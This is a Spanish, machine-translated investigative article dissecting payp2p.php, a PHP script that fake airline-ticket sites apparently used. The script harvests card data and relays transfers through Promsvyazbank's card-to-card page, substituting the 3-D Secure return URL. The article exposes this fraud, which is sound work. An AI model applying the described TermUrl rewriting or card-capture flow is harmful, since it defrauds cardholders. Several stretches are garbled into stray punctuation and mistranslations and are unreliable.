Vuelos baratos ... Una red de sitios web fraudulentos que roban dinero de las tarjetas. La segunda investigación. ¿Qué tiene que ver Promsvyazbank con él?



Hace aproximadamente un mes, publiqué un artículo en Geektimes, “Billetes de avión baratos ... O una red de sitios fraudulentos que roban dinero de las tarjetas. Mi investigación. La publicación recibió una gran respuesta y una continuación inesperada ...

Permíteme recordarte a aquellos que no han leído la primera parte. En una publicación basada en casos reales, se describieron esquemas en los que los estafadores roban dinero de boletos de compradores de boletos de aerolíneas que fueron imprudentes para llegar a un sitio de venta de boletos falsos. El número de dichos sitios fraudulentos para la venta de boletos aéreos en RuNet es de decenas y cientos (incluido el cerrado). En dichos sitios, al usuario se le muestra primero información real sobre los vuelos, se propone hacer un pedido y pagarlo con una tarjeta de crédito. Todo se ve hermoso hasta que los compradores de boletos aéreos descubren que se quedan sin dinero y sin boletos.

En todos los casos detectados, para robar dinero, dichos sitios utilizan los servicios de los bancos para transferir dinero de una tarjeta a otra (P2P). En la primera parte, se describió en detalle el mecanismo de cómo la página de Tinkov Bank para el pago de una tarjeta a otra se disfraza e incrusta en sitios web fraudulentos, para que el "comprador" no note nada. También se mencionó Promsvyazbank: fue a través de él que se robó dinero de la tarjeta de la víctima en la historia que se describió. Y si no quedaban preguntas con el banco TKS, en el caso de Promsvyazbank no estaba claro cómo se retiró el dinero. La secuencia de comandos principal utilizada para robar dinero se ejecutó en el lado del servidor y sin los códigos fuente uno solo podría asumir lo que estaba haciendo.

Y uno de los usuarios de Geektimes me contactó y me envió el script payp2p.php que se utilizó recientemente en la mayoría de los sitios de venta de boletos de aerolíneas fraudulentos. Este script utiliza el servicio Promsvyazbank para transferir de una tarjeta a otra. Y en mi opinión, Promsvyazbank, al proporcionar su servicio, que fue fácil de engañar, contribuyó al crecimiento en el número de estafadores de Internet.

Probablemente hay otros bancos similares, pero esta publicación tratará principalmente con Promsvyazbank.

Antes de comenzar el análisis del script en sí, veamos cómo se ve la página de pago de un sitio web fraudulento y cómo se ve la página de traducción de una tarjeta a una tarjeta Promsvyazbank.

Parecía la página de pago en sitios fraudulentos
Al analizar el código HTML de esta página de pago, no encontré ninguna parte de las páginas de ningún banco, no se usan iframes integrados, no se usan scripts en absoluto, y la página en sí es muy simple y no se parece a la página de Promsvyazbank. Los datos ingresados ​​en el formulario no se verifican mediante secuencias de comandos, sino mediante mecanismos integrados en los navegadores, utilizando los atributos "patrón" y "requerido" para los campos de entrada de entrada y para las listas desplegables seleccionadas. Es decir incluso la página almacenada en el navegador en la unidad local permanece "operativa" y puede usarse para probar cómo se interceptan los datos del mapa. Se utilizó una página similar guardada anteriormente como parte de esta publicación para comprender cómo funciona el script.

De hecho, esta página es solo un formulario para ingresar un número de tarjeta. Cuando se confirma el formulario, el procesamiento se transfiere al programa payp2p.php.

<form class="b-card-feature-list clearfix" id="formPay" action="payp2p.php" method="post">

Payp2p.php puede hacer cualquier cosa. Su código no estaba disponible anteriormente para nosotros, ya que se ejecuta en el lado del servidor. Pero como ya escribí, ahora tenemos un código y lo sabremos todo.

Ahora veamos cómo se ve la página de pago de tarjeta en tarjeta en el sitio de Promsvyazbank.

https://www.psbank.ru/Personal/eCommerce/Card2Card


Como puede ver, la página de Promsvyazbank no se parece en nada a la página de pago presentada anteriormente. Incluso el número de campos de entrada para el número de tarjeta no coincide.

Veamos el código HTML de la página PSB para descubrir cómo funciona. Todo lo que necesitamos saber es en estas pocas líneas:

<iframe name="card2card" src="https://3ds.payment.ru/P2P/card_form.html" height="100%" width="100%" frameborder="no" seamless scrolling="no">
</iframe>

Esta pieza significa que la página de pago real se encuentra en un dominio diferente, y lo que vemos en el sitio web de Promsvyazbank se muestra en una "ventana" con tecnología iframe.

Me pregunto quién posee el dominio 3ds.payment.ru.
Whois.

3ds.payment.ru
IP 193.200.10.116
: PRSBM-NET
:
inetnum: 193.200.10.0 - 193.200.10.255
netname: PRSBM-NET
mnt-by: PROMSVYAZBANK-MNT

C online.payment.ru



El dominio 3ds.payment.ru también pertenece a Promsvyazbank. Recordaremos este dominio, todavía se encontrará en la descripción más de una vez.

Veamos cuál es la página que Promsvyazbank incorpora en su sitio, y posiblemente en algunos otros sitios.

https://3ds.payment.ru/P2P/card_form.html


Esta es una página real que se utiliza para transferencias de tarjeta a tarjeta. Como puede ver, esta página no tiene bordes. Esto se hace a propósito para que sea más conveniente construir en otros sitios.

En el código HTML de esta página nos interesa esta parte:



estos son campos de entrada ocultos para almacenar información de servicio. También recordaremos esta página. Y dónde se usa se describirá más adelante.

La parte introductoria ha terminado, pasemos a la parte más interesante y veamos cómo funciona el script payp2p.php o cómo funcionó.

El script es simple y no requiere ningún conocimiento profundo del lenguaje de programación PHP para comprenderlo. Por conveniencia, lo partí en pedazos. A la izquierda están los números de línea a los que se puede hacer referencia. El guión no ha cambiado por completo en la forma en que se recibió. Después de cada fragmento de código, se presentará un descifrado y un ejemplo de los valores de las variables durante la ejecución del programa (es decir, algo similar a la depuración). En algunos lugares, es posible realizar comentarios excesivos, esto se hace para que los lectores que no son de programación también puedan comprender el significado del código del programa.

Para las pruebas, necesitamos un formulario en el que deberá ingresar los datos de la tarjeta con los que se supone el pago. Utilizaremos el formulario guardado anteriormente. El aspecto del formulario en el sitio fraudulento se muestra en la imagen al comienzo del artículo. Sobre el formulario se escribirá más abajo. Para la prueba, ingrese el número de tarjeta 1111.2222.3333.4444.

Empecemos



Línea 3: no ejecuta ningún comando.
Línea 4: se carga un archivo dbconfig.php separado en el que se almacenan los parámetros para conectarse a la base de datos MySQL. A continuación se muestra una captura de pantalla del código dbconfig.php y su análisis.
Línea 6: nos conectamos al servidor MySQL, en cuya base de datos almacenaremos datos sobre tarjetas robadas y transferencias de dinero realizadas. Esta línea se conecta simultáneamente al servidor MySQL y sale del programa si la conexión falla por algún motivo.
Línea 11: seleccione la codificación para trabajar con la base de datos MySQL.
Línea 13: nos conectamos al servidor MySQL anteriormente, ahora seleccionamos la base de datos con la que trabajaremos.

El script payp2p.php comienza a funcionar después de que un usuario engañado completa un formulario en una página similar a una página de pago en línea normal. Al hacer clic en el botón "Pagar" en el formulario, el script payp2p.php recibe los datos ingresados ​​en el formulario. Los datos del formulario al script se transmiten utilizando el método POST.

Línea 16: el número de tarjeta de crédito ingresado en el formulario de la página anterior se guarda en la variable $ num.
Línea 17: el mes / año del período de validez de la tarjeta se almacena en la variable $ date.
Línea 18: el código CVV de la tarjeta se guarda en la variable $ cvv.
Línea 19: en la variable $ code, un cierto código se genera antes al realizar el "pedido de boletos aéreos". Este código se utiliza para que el usuario pueda ver su pedido a través de un enlace especial. El mismo código se utiliza para identificar el pedido (en la página de pago, para mostrar automáticamente el monto del pago; si los estafadores lo guardan al guardar en el "libro de ventas", este código también se transmite al formulario de pago, probablemente como un identificador de transferencia (más sobre esto a continuación).
Líneas 21-22 Se forma una línea: una consulta SQL, que luego se ejecuta. La consulta SQL agrega a la tabla 'tarjeta' los valores del identificador del pedido, la cantidad, el período de validez de la tarjeta, el código CVV de la tarjeta y la hora actual exacta. A continuación se muestra un ejemplo de un registro en la base de datos.

Ejemplo de información de depuración


« » « ». , . .

"âáèâ" = '' ISO8859-1 =>Windows-1251
, . .

Dirija temporalmente nuestra atención temporalmente al archivo dbconfig.php.



Aquí están los parámetros para conectarse a la base de datos. De lo que puede ser interesante:

DBHOST — , MySQL ( MySQL , , )
DBNAME —
DBUSER — MySQL
DBPASS — MySQL
SECURE_AUTH_KEY — - . , , , . .



Línea 28: se conecta un archivo aviacfg.php de terceros. Este es un archivo de configuración que almacena números de tarjetas de destinatarios y otras configuraciones.
Línea 29: se crea una matriz a partir de los números de tarjeta que están separados por un salto de línea en el archivo de configuración.
Línea 30-31: a la variable $ crd se le asigna aleatoriamente el número de una de las tarjetas.

Veamos qué tenemos en el archivo aviacfg.php



Aquí vemos que la variable $ aviacfg es una matriz que contiene los valores de descuento (descuento) y tarjetas (números de tarjeta para los que se esperan retiros). En este ejemplo, solo hay un número de tarjeta, pero puede haber cualquier número de ellos. El nombre del archivo (aviacfg.php) y la variable ($ aviacfg) en sí indica para qué área se agudizó este script. El valor de descuento determina el porcentaje de precios en un sitio web fraudulento que se mostrará más barato de lo que realmente se venden en un sitio web de billetes de avión "honesto". El propietario de un sitio web fraudulento puede hacer que el precio de las entradas sea más barato. Cuanto más bajo sea el precio mostrado, más probable es que uno de los compradores potenciales se arriesgue a comprar boletos en un sitio desconocido. Sobre el descuento habrá un comentario más adelante sobre exactamente cómo se implementa en el código.



Además, el monto de la transferencia, el número de la tarjeta a la que se realiza la transferencia y el código que identifica el pedido de boletos aéreos en un sitio web fraudulento se almacenan en la base de datos MySQL. A continuación se presentará un ejemplo de un registro en la base de datos.

Ejemplo de información de depuración




Línea 40: a la variable $ p112 se le asigna un valor con el número de tarjeta que se ingresó anteriormente en el formulario.
Líneas 41-51: el número de tarjeta se divide en partes de cuatro dígitos.
Líneas 53-57: se verifica la longitud del número de tarjeta. Si en el número de tarjeta el número de caracteres difiere de 16 o 18, se produce una salida. Se muestra un mensaje durante cinco segundos y luego se redirige a otra página. En este ejemplo, la devolución será a la página de pedido en el sitio fraudulento.
En la línea 56 "Iaaa? Iua aaiiua ea? Ou" al convertir la codificación ISO8859-1 => Windows-1251 corresponde al texto: "Datos de tarjeta no válidos".
Líneas 58-61: a las variables $ p4, $ p5, $ p6, $ p11 se les asignan los valores ingresados ​​anteriormente en el formulario (fecha de vencimiento de la tarjeta, código CVV, monto del pago).
Línea 63: en la variable $ info se guardan todos los datos de la tarjeta y el monto de la transferencia. Al formar, se usan saltos de línea "\ n" y separadores "### ...". Esta variable no se usa en ningún otro lado. Al finalizar el script, se puede usar para guardar registros en un archivo de texto normal o para mostrar durante la depuración.

Ejemplo de información de depuración




Líneas 66-75: esta es en realidad una duplicación del bloque de líneas 27-36. Una vez más, la tarjeta receptora se selecciona aleatoriamente del archivo de configuración aviacfg.php, y todo esto se guarda en la tabla de la base de datos card_balance. Por lo tanto, en la tabla card_balance, con cada intento de transferencia, se crearán dos registros. Si solo una tarjeta de destinatario está obstruida en aviacfg.php, con muestreo aleatorio, por supuesto, siempre se seleccionará la misma tarjeta. En este caso, las entradas en la tabla card_balance simplemente se duplicarán. Pero en caso de que varios números de tarjeta estén obstruidos en aviacfg.php, con un muestreo aleatorio los resultados serán diferentes y habrá un registro en la tabla card_balance, el primero es incorrecto y el segundo es correcto.

Esto es un error, y los compradores del guión (habrá un comentario por separado sobre ellos) pueden pedirle al desarrollador que compense el daño moral asociado con el hecho de que las traducciones reales son al menos dos veces menos que las entradas de registro.

Ejemplo de información de depuración


Ejemplo de entradas de bases de datos MySQL
. : «card» «card_balance». , .

, , — . .

«card».



«card_balance».


Tenga en cuenta que en el primer caso, solo las tarjetas de remitente sin cantidad, pero con el tiempo exacto, se almacenan en la tabla de la base de datos MySQL, y en el segundo caso, se guardan los datos sobre las transferencias realizadas (más precisamente, sobre los intentos de transferencias). El número y la cantidad de la tarjeta del destinatario se guardan, los datos del remitente no se guardan en la segunda tabla. En ambos casos, el "ID de pedido" se almacena adicionalmente.

La primera parte de la secuencia de comandos, que se describió anteriormente, se puede llamar arbitrariamente "entrada en el libro de ventas para contabilidad". Ella no tiene relación con la transferencia de dinero. Para transferir dinero, puede hacerlo sin guardar datos en la base de datos. Sin embargo, vemos que los datos de la tarjeta se guardan, lo que significa que en el futuro se pueden usar adicionalmente para robar dinero de las tarjetas "en modo manual". Los datos de la tarjeta se pueden vender o usar, por ejemplo, para pagar la publicidad en Yandex.Direct, como se muestra en el artículo anterior.

La segunda parte del script se relaciona con la transferencia de dinero a través del sitio de Promsvyazbank 3ds.payment.ru.



La línea 78 del comentario indica que se supone que la página de confirmación de un pago exitoso tiene una dirección como "/sus.php?cd=BX3FKT". Si tiene éxito, el usuario debe ser devuelto a esta dirección.

Línea 80-91 Para realizar una traducción, primero debe ir a la página de servicio.

https://3ds.payment.ru/cgi-bin/get_trans_cond_p2p.


Esta página muestra algo como esta línea:

{"ORDER_NUM":"20161027070425023400","TIMESTAMP":"20161027070425"}

"ORDER_NUM" es ~ "Número de pedido", "TIMESTAMP" es la marca de tiempo actual. Si la página se actualiza, siempre se emiten nuevos datos.

Para leer una página web o enviar datos a una página web, use el comando curl. Curl (cURL) le permite conectarse mediante programación a servidores web utilizando varios protocolos, incluidos http y https. En nuestro caso, curl es un navegador web de software que puede guardar páginas web en variables. La página almacenada en la variable es una línea muy larga con el código fuente HTML de esta página. Puede trabajar con tales variables de cadena de la misma manera que con cualquier cadena: puede buscar texto, reemplazar texto, etc. Curl en los scripts descritos se usará varias veces.

Línea 80: la URL se almacena en la variable $ login_url.
Línea 81: la URL se almacena en la variable $ agent.
Línea 82 - Inicializa la sesión de cURL.
Línea 83-90: los parámetros se establecen para la sesión con CURL (dirección de página almacenada anteriormente en $ login_url; identificador del navegador previamente almacenado en $ agent; página desde la cual se redirige o se hace referencia a la página; REFERER; configuración de COOKIE, etc.)
Línea 91 - Como resultado del comando curl_exec, se obtendrá una página web mediante programación, que se guardará en la variable $ page.
Líneas 93-95 La página web guardada $ page contiene ~ "número de pedido" ORDER_NUM, que se almacena en la variable $ ord.
Líneas 96-98 La página web de la página $ guardada contiene la marca de tiempo TIMESTAMP, que se almacena en la variable $ tim.

Ejemplo de información de depuración




Ahora un "navegador de software" necesita ir a la página https://3ds.payment.ru/P2P_ACTION/card_form.html. Esta es la misma página de pago, cuya captura de pantalla se muestra arriba. Esta es una página con un formulario, parte de los campos de servicio de los cuales están ocultos. Parte del código HTML con campos de entrada ocultos se mostró arriba. Es necesario recordar algunos valores de estos campos ocultos para poder usarlos más adelante al enviar el formulario.

Línea 99: guardamos la dirección de la página en la variable $ url.
Línea 100: se establecen los parámetros para la sesión con URL (en este caso, solo la dirección de la página. El resto de la configuración sigue siendo la misma).
Líneas 101-102 Se eliminan las variables $ page y $ part utilizadas anteriormente.
Línea 103: como resultado del comando curl_exec, se obtendrá una página web mediante programación, que se guardará en la variable $ page.
Líneas 104-106 La página web de la página $ guardada contiene el valor del campo TERMINAL, que se almacena en la variable $ term.
Líneas 107-109 La página web de $ page guardada contiene el valor del campo TRTYPE, que se almacena en la variable $ type.
Líneas 110-112 La página web de la página $ guardada contiene el valor del campo COMERCIANTE, que se almacena en la variable $ merch.
Líneas 113-115 La página web de la página $ guardada contiene el valor del campo EMAIL, que se almacena en la variable $ ml.

En general, estos valores en la forma indicada nunca cambian. Y podrían guardarse en el código como constantes y no recibirse cada vez. Obviamente, la obtención de los valores de estos campos se realiza para mayor seguridad en caso de que uno o más campos cambien en algún momento en el futuro.

Descripción de algunos campos. Una descripción completa de todos los campos es fácil de encontrar en Google.

TERMINAL - Número único del terminal virtual de la tienda
MERCH_NAME - Nombre del punto de
venta COMERCIANTE - Número de la tienda asignada por el banco
TRTYPE - Tipo de transacción solicitada (Pago - 1, Cancelar - 22, Preautorización - 0, Finalización de liquidaciones - 21)
EMAIL - Dirección de correo electrónico para enviar alertas

Ejemplo de información de depuración

, - . ($page)

CORREO ELECTRÓNICO aquí, este es un caso épico. A quién le importa, materiales adicionales sobre este CORREO ELECTRÓNICO al final del artículo en la aplicación bajo el spoiler.



Aquí vemos un gran bloque. El hecho de que parezca grande se explica por el ancho de columna limitado en la publicación y la presentación conveniente del código por el autor del script. De todos modos, se podría colocar en 10 líneas de código, pero la conveniencia de leer y editar el código se vería afectada.

Línea 120: en la variable $ url, guarde la dirección de la página.
Línea 121-123: establezca parámetros para una sesión con URL.
Línea 124: se crea una matriz de $ ncrd a partir del número de tarjeta del destinatario en la variable de cadena $ crd, que contendrá partes del número de la tarjeta dividido en cuatro.
Línea 125: los encabezados HTTP se almacenan en la variable de matriz $ headers.
Línea 126: los parámetros se establecen para la sesión con CURL (encabezados HTTP de la variable $ headers.
Líneas 135-164: se crea una matriz $ postL, cada valor correspondiente al campo del formulario en la página de pago (número de tarjeta del remitente, dividido por cuatro; fecha de vencimiento de la tarjeta del remitente) ; Tarjeta CVC del remitente; número de tarjeta de destinatario de cuatro direcciones; fecha de vencimiento de la tarjeta del destinatario; tarjeta CVC del destinatario; monto del pago; "número de pedido"; descripción de la página de confirmación; número de terminal; nombre del punto de venta; correo electrónico para notificaciones; sello de tiempo ; número de tarjeta del remitente no dividido en partes; número de tarjeta del destinatario no dividido en partes; datos en software y hardware "en la computadora del remitente", diseñados para crear la apariencia de un usuario real, no un script).
Líneas 135: los parámetros se establecen para la sesión de cURL (datos transmitidos en la solicitud HTTP POST. En este caso, la matriz $ postL se convierte en una cadena, que es una cadena codificada en URL, como 'p1=val1&p2=val2&...'.

Los datos transmitidos con mayor claridad se muestran en la captura de pantalla con la información de depuración a continuación.

Ejemplo de información de depuración




Línea 166: como resultado del comando curl_exec, los datos preparados se enviarán al formulario de la página web utilizando el método POST. Para una página web, dicho envío se verá exactamente igual que si un usuario normal completara y confirmara el formulario en un navegador normal. La página con el resultado de enviar datos al formulario se guardará en la variable $ page.
Línea 167: finaliza la sesión de cURL.
Línea 168: en la página resultante, que se almacena en la variable $ page, y como recordamos, es una línea larga, se busca la subcadena "Error".
Líneas 169-173: si se encuentra la subcadena "Error", se muestra durante 5 segundos el mensaje de error "La tarjeta no encaja" y luego el script sale y redirige la página que se muestra en el navegador a la "página de pedido". Si el usuario es persistente, puede intentar nuevamente el procedimiento de pago.

Página mostrada en caso de cualquier error.



Las causas de los errores que emite el banco pueden ser diferentes (un error en el número de tarjeta, fondos insuficientes, un error de autorización y muchos otros). Pero para el script payp2p.php no hay diferencia. Una vez que el pago ha fallado, significa que el usuario es redirigido a la página desde la que puede repetir el intento de pago. La página a la que se devuelve el error se puede cambiar fácilmente según la tarea.

Ejemplo de código HTML devuelto por la página del banco, en caso de error
<!DOCTYPE html>

<head>
<base href="/">
<script src="/netcetera/netcetera.js"></script>
<script src="/riskminder-client.js"></script>
<script>
    function redirect(rctext, ext_diag_code){
	if (rctext == "Call your bank"){
		window.top.location = "http://www.psbank.ru/Card2Card/CallYourBank";
	} else if (rctext == "Your card is restricted"){
		window.top.location = "http://www.psbank.ru/Card2Card/ForbiddenTransaction";
	} else if (rctext == "Your card is disabled"){
		window.top.location = "http://www.psbank.ru/Card2Card/BlockedCard";
	} else if (rctext == "Invalid amount" || rctext == "Error in amount field" || rctext == "Wrong original amount"){
		window.top.location = "http://www.psbank.ru/Card2Card/IncorrectAmount";
	} else if (rctext == "Re-enter transaction"){
		window.top.location = "http://www.psbank.ru/Card2Card/Retry";
	} else if (rctext == "Expired card"){
		window.top.location = "http://www.psbank.ru/Card2Card/ExpiredCard";
	} else if (rctext == "Not sufficient funds"){
		window.top.location = "http://www.psbank.ru/Card2Card/InsufficientBalance";
	} else if (rctext == "Exceeds amount limit"){
		window.top.location = "http://www.psbank.ru/Card2Card/AmountOverlimit";
	} else if (rctext == "Exceeds frequency limit"){
		window.top.location = "http://www.psbank.ru/Card2Card/QuantityOverlimit";
	} else if (rctext == "Error in card number field"){
		window.top.location = "http://www.psbank.ru/Card2Card/IncorrectNumber";
	} else if (rctext == "Error in card expiration date field"){
		window.top.location = "http://www.psbank.ru/Card2Card/IncorrectExpiresDate";
	} else if (rctext == "Error in currency field"){
		window.top.location = "http://www.psbank.ru/Card2Card/IncorrectCurrency";
	} else if (rctext == "Authentication failed" && ext_diag_code == "AS_FAIL"){
		window.top.location = "http://www.psbank.ru/Card2Card/IncorrectPassword";
	} else if (rctext == "Authentication failed" && (ext_diag_code == "NS_ATTEMPT" || ext_diag_code == "S_ATTEMPT" || ext_diag_code == "ATTEMPT" || ext_diag_code == "UNAVAIL")){
		window.top.location = "http://www.psbank.ru/Card2Card/3DSFailure";
	} else {
		window.top.location = "http://www.psbank.ru/Card2Card/TechReasons";
	}
   }
</script>
</head>
<body onload="netcetera_set_DID('');redirect('Authentication failed','BIN_ERROR')">
</body>
</html>


Un ejemplo de información de depuración si el banco informa un error al pagar


Línea 174: si no hubo una salida anterior del script debido a un error al pagar, esto significa que todo va según lo previsto. En la página previamente guardada en la variable $ page, todas las subcadenas con la dirección se reemplazan con una https://3ds.payment.ru/cgi-bin/cgi_linkcadena con una dirección del tipo mydomain.ru/sus.php?cd = ... - esta es la dirección de la página en el sitio fraudulento al que debe llegar el usuario si el pago se realiza correctamente. (En dicha página, se puede agradecer e informar al usuario que se han enviado tickets electrónicos por correo). Después de reemplazar la subcadena, el resultado se almacena en la variable $ pp.

Línea 175: la variable $ pp se muestra en el navegador. Como la variable $ pp es una cadena con el código HTML completo de la página, el usuario verá alguna página. La página mostrada no diferirá externamente de la página original que proporcionó el banco; la diferencia solo estará dentro del código HTML en el lugar donde se reemplazó el enlace.

Entonces, ¿qué es esta página que proporciona el banco en caso de ingresar el número de tarjeta correcto y en el que el script sustituye un enlace a la página de pago exitosa en un sitio web fraudulento? Y después de todo, probablemente, todavía debería haber un cheque 3D Secure de los bancos emisores, que no permitirá el pago. El código terminó en el lugar más interesante y hay dudas de que sin scripts, formularios, etc.

. - . . .

Conduzco el número de mi tarjeta bancaria en el archivo aviacfg.php. Intentaré aceptar la transferencia, si, por supuesto, funciona. Abro la página del formulario previamente guardada en el disco. Este formulario simplemente se guardó en el navegador cuando visitó uno de los sitios fraudulentos, que al momento de escribir la primera parte de la publicación, todavía funcionaba. El formulario ya se ha guardado con la suma de 2915 rublos, pero para probarlo es demasiado. Vamos a cambiarlo En cualquier forma, hay campos visibles y ocultos. Los campos ocultos (entrada, selección) no son diferentes de los campos normales, excepto que no son visibles. Dichos campos se utilizan para almacenar información de servicio que el usuario no necesita ver. Los campos de entrada están ocultos de dos maneras.

  • CSS ( display:none). , (input), , ( DIV) input.
  • — , type=«hidden». type=«text».

En nuestro caso, los campos del formulario se ocultan usando type = "hidden".

Presionamos en el navegador F12 (modo de desarrollo web). Encuentre el lugar correcto en el código HTML y cambie el texto type = "hidden" a type = "text" para dos o más elementos de entrada. Ahora vemos los campos en los que se almacenan la suma y el código de servicio (código). Reduzca la cantidad de 2915rub a 20rub. Ahora ingrese los datos de su segunda tarjeta bancaria en el formulario. Se debe debitar dinero de esta tarjeta si es posible realizar una transferencia.



Confirmamos el formulario haciendo clic en el botón "Pagar". Después de hacer clic en el botón, se inicia el script payp2p.php, que recibe los datos ingresados ​​en el formulario.

Para mi sorpresa, después de ingresar el número de tarjeta real y hacer clic en el botón "Pagar" en el formulario de prueba, vi la página de Sberbank (el banco desde el que se realiza la transferencia) en la pantalla, pidiéndome que ingrese el código de confirmación 3D Secure.



También en mi teléfono recibí un SMS de Sberbank con un código.



Antes de probar con una tarjeta de crédito válida, supuse que para confirmar el código 3D Secure, tendría que ser "engañado" al usuario de alguna manera, y luego transferir mediante programación encubiertamente la confirmación 3D Secure a este formulario. Sin embargo, todo resultó ser mucho más simple. Después de que los datos para transferir de una tarjeta a otra se envían al sitio web de Promsvyazbank, el navegador muestra la forma del banco emisor de la tarjeta desde el que se realiza la transferencia. En mi caso, este es Sberbank. Este formulario ni siquiera necesita ser falsificado. El formulario de confirmación se muestra en el sitio web HTTPS de Sberbank. Las víctimas de los estafadores directamente en este formulario familiar para ellos ingresan un código de confirmación. Después de eso, si se aprueba la transferencia, se carga el dinero. Aunque es teóricamente posible protestar contra tal transferencia, está lejos del hecho de que el dinero será devuelto.La probabilidad de un reembolso se ve afectada por muchos factores, incluida la rapidez con que la "víctima" se aplicará a su banco.

Código HTML de la página que Sberbank entrega para confirmar 3D Secure bajo el spoiler. El código se obtuvo durante la prueba escribiendo la variable $ page en un archivo de texto. Línea 166 del script payp2p.php.

Código de página HTML seguro 3D antes del reemplazo de línea
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
</HEAD>
<BODY ONLOAD="javascript:OnLoadEvent();">
<FORM ACTION="https://acs3.sbrf.ru:443/acs/pa?id=QAB6XaYQTRm-t_6DHVnp2Q" METHOD="post" NAME="ThreeDform" target="_self">
<input name="PaReq" type="hidden" value="eJxVUmFPgzAQ/SuE966lY2iWo4aJOl1mcG7TfTK1VCCOwkpR9u9tJ3P6pbn37nLv+u7gsiu3zqdQTVHJ0PUG2HWE5FVayCx0V8ubswv3ksIyV0LET4K3SlCYi6ZhmXCKNHSTaCF24+doErywzeNyUZ7p1yCermVNHl0KhzSFXoCa/gMC6AhNJ8VzJjUFxneTuwfqYzLC54B6CKVQdzHFGAfYI8TH/pB4GNAPDZKVgl5Fi5jYx0meJtHDbLBYATpkgFet1GpPA38I6AigVVuaa12PEaqbNyY/BqoFZFlAp4GS1kaN6dIVKZ2pgu2f41s565JNs84SKbL9+z0bbXkIyFZAyrSgBHuBhz3fwcGYjMZDo3vggZVWnnojbMbvAdRWI/qb+cuAcVuZZRznPyIQXV1JYSqMlb8xpKLhVBf8Q2inZnsjbAlAp49cTa3PXBvrSKp1rqOvbZJVs/VXdPuez7vdZj59uw6t+4ciK1QYx7xz63kPANk2qF8s6m/BRP9u5BtPwMYZ">
<input name="MD" type="hidden" value="161732779-506DEA0AD5677154">
<input name="TermUrl" type="hidden" value="https://3ds.payment.ru/cgi-bin/cgi_link">
</FORM>
<SCRIPT>
function OnLoadEvent () 
{
  document.forms[0].submit();
}
</SCRIPT>
</BODY>
</HTML>

Código HTML de la página después de que reemplaza parte del texto, debajo del spoiler. El código se obtuvo durante la prueba escribiendo la variable $ pp en un archivo de texto. Línea 174 del script payp2p.php.

Código de página HTML seguro 3D después de reemplazar una cadena
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
</HEAD>
<BODY ONLOAD="javascript:OnLoadEvent();">
<FORM ACTION="https://acs3.sbrf.ru:443/acs/pa?id=QAB6XaYQTRm-t_6DHVnp2Q" METHOD="post" NAME="ThreeDform" target="_self">
<input name="PaReq" type="hidden" value="eJxVUmFPgzAQ/SuE966lY2iWo4aJOl1mcG7TfTK1VCCOwkpR9u9tJ3P6pbn37nLv+u7gsiu3zqdQTVHJ0PUG2HWE5FVayCx0V8ubswv3ksIyV0LET4K3SlCYi6ZhmXCKNHSTaCF24+doErywzeNyUZ7p1yCermVNHl0KhzSFXoCa/gMC6AhNJ8VzJjUFxneTuwfqYzLC54B6CKVQdzHFGAfYI8TH/pB4GNAPDZKVgl5Fi5jYx0meJtHDbLBYATpkgFet1GpPA38I6AigVVuaa12PEaqbNyY/BqoFZFlAp4GS1kaN6dIVKZ2pgu2f41s565JNs84SKbL9+z0bbXkIyFZAyrSgBHuBhz3fwcGYjMZDo3vggZVWnnojbMbvAdRWI/qb+cuAcVuZZRznPyIQXV1JYSqMlb8xpKLhVBf8Q2inZnsjbAlAp49cTa3PXBvrSKp1rqOvbZJVs/VXdPuez7vdZj59uw6t+4ciK1QYx7xz63kPANk2qF8s6m/BRP9u5BtPwMYZ">
<input name="MD" type="hidden" value="161732779-506DEA0AD5677154">
<input name="TermUrl" type="hidden" value="http://p2p.localhost/sus.php?cd=BX3FKT">
</FORM>
<SCRIPT>
function OnLoadEvent () 
{
  document.forms[0].submit();
}
</SCRIPT>
</BODY>
</HTML>

En resumen, en el código HTML de la página 3D Secure (en este ejemplo, de Sberbank) la línea:

<input name="TermUrl" type="hidden" value="https://3ds.payment.ru/cgi-bin/cgi_link">

Cambios programáticos a:

<input name="TermUrl" type="hidden" value="http://p2p.localhost/sus.php?cd=BX3FKT">

La cadena de reemplazo es la dirección de la página a la que la tarjeta bancaria emisora ​​del remitente, después de verificar el código 3D Secure, debe devolver al usuario. Antes de que el script reemplazara la línea, el sitio web de Promsvyazbank se especificaba como la dirección de retorno. Después de que el guión ha reemplazado la línea, alguna página del sitio fraudulento ya se indica como la dirección de retorno.

No entiendo completamente en qué punto exacto se está reemplazando la dirección de retorno, pero funciona. En ese momento, cuando el navegador muestra la página https de Sberbank con una solicitud para ingresar el código 3D Secure, si observa el código fuente HTML de la página en el navegador, no hay una dirección de retorno a ningún sitio. El código HTML de esta página tiene una longitud de más de 400 líneas y es completamente diferente del código HTML de la página de respuesta de Sberbank que se capturó al escribir las variables $ page (línea 166) y $ pp (línea 174) en el disco.

Si ingresa el código 3D Secure incorrecto, Sberbank en su página muestra un mensaje de que el código es incorrecto y envía otro SMS. Tan pronto como se ingresa el código correcto, se lo redirige al sitio de pago o al sitio de reemplazo. Es decir, probablemente, la redirección al sitio de pago implica que desde Sberbank se han completado todos los procedimientos necesarios. Sberbank aquí sirve como un ejemplo para las pruebas. La transferencia también se puede hacer a través de otro banco.



Desde el lado del "comprador del boleto" se ve así. El comprador en una forma de pago preparada previamente ingresa su número de tarjeta. Después de eso, la página de confirmación del código 3D Secure se muestra casi de inmediato y llega un SMS con un código de confirmación. La página 3D Secure en el navegador se muestra en el sitio web del banco del emisor de la tarjeta del comprador a través de HTTPS. La página con el formulario para ingresar el número de tarjeta puede parecer sospechosa, pero la confirmación 3D Secure en el sitio web de su banco no causa ninguna duda o sospecha.

Por cierto, preste atención a la firma "ticket ticket" en la línea "Descripción" en la página 3D Secure de Sberbank. Esta firma se establece en el script payp2p.php. En ejemplos futuros, intentaremos cambiarlo.

Volvamos a las pruebas.

Ingresé el código de SMS en la página de Sberbank y después de hacer clic en el botón "Enviar", recibí una advertencia de que los datos se enviarían a través de una conexión insegura.



Después de confirmar que estoy de acuerdo con enviar datos a través de una conexión insegura, fui redirigido a la



página /sus.php?cd=… . Esta es la página de retorno. La dirección de retorno se establece en el script. En este caso, no se encontró la página. Pero la razón es clara: la página de retorno no se preparó de antemano.

Aunque el objetivo casi se logró, el dinero de una tarjeta a otra realmente no pasó . No hubo sms adicionales con información de que el pago fue rechazado, etc.

